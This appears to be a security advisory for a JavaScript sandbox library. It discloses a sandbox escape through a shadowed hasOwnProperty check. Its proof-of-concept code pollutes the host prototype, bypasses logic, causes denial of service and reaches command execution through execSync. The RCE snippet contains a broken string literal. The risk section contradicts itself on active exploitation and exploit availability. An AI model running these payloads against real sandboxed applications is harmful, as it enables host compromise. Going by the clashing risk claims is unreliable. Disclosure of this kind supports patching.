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GHSA-jjpw-65fv-8g48

CriticalCVSS 10 / 10
Published Feb 5, 2026·Last modified Feb 6, 2026
Affected Components(0)

No affected components available

Description

Summary

A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.

The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.

Root Cause

prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.

  • src/executor.ts:348 const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
<img width="1030" height="593" alt="image" src="https://github.com/user-attachments/assets/0fa0807e-81cc-45b5-be13-bd839c974a4f" /> <img width="929" height="345" alt="image" src="https://github.com/user-attachments/assets/27cff24d-b892-4d56-9f59-1e5fd32ef471" /> <img width="769" height="332" alt="image" src="https://github.com/user-attachments/assets/52fbb962-6ff0-4607-90a8-79fc3a50c897" />

Proofs of Concept

node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration node node_modules/rollup/dist/bin/rollup -c Runtime target: dist/node/Sandbox.js

Baseline: __proto__ blocked without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
  const res = sandbox.compile(`return ({}).__proto__`)().run();
  console.log('res', res);
} catch (e) {
  console.log('error', e && e.message);
}
<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />

Prototype whitelist bypass -> host Object.prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.polluted = 'pwned';
  return 'done';
`;

sandbox.compile(code)().run();

console.log('polluted' in ({}), ({}).polluted);
<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />

Logic bypass via prototype pollution

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.isAdmin = true;
  return 'ok';
`)().run();

console.log('isAdmin', ({}).isAdmin === true);
<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />

DoS by overriding Object.prototype.toString

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.toString = function () { throw new Error('aaaaaaa'); };
  return 'ok';
`)().run();

try {
  String({});
} catch (e) {
  console.log('error', e.message);
}
<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />

RCE via host gadget (prototype pollution -> execSync)

<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');

const sandbox = new Sandbox();

sandbox.compile(`
  const o = { hasOwnProperty: () => true };
  const proto = o.__proto__;
  proto.cmd = 'id;
  return 'ok';
`)().run();

const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);

Additional Finding : Prototype mutation via intermediate reference

This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.

Mutate Array.prototype.filter without bypass

const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();

sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();

console.log('host filter', [1,2].filter);

Output:

host filter 1
Risk Scores
Base Score
10.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.64%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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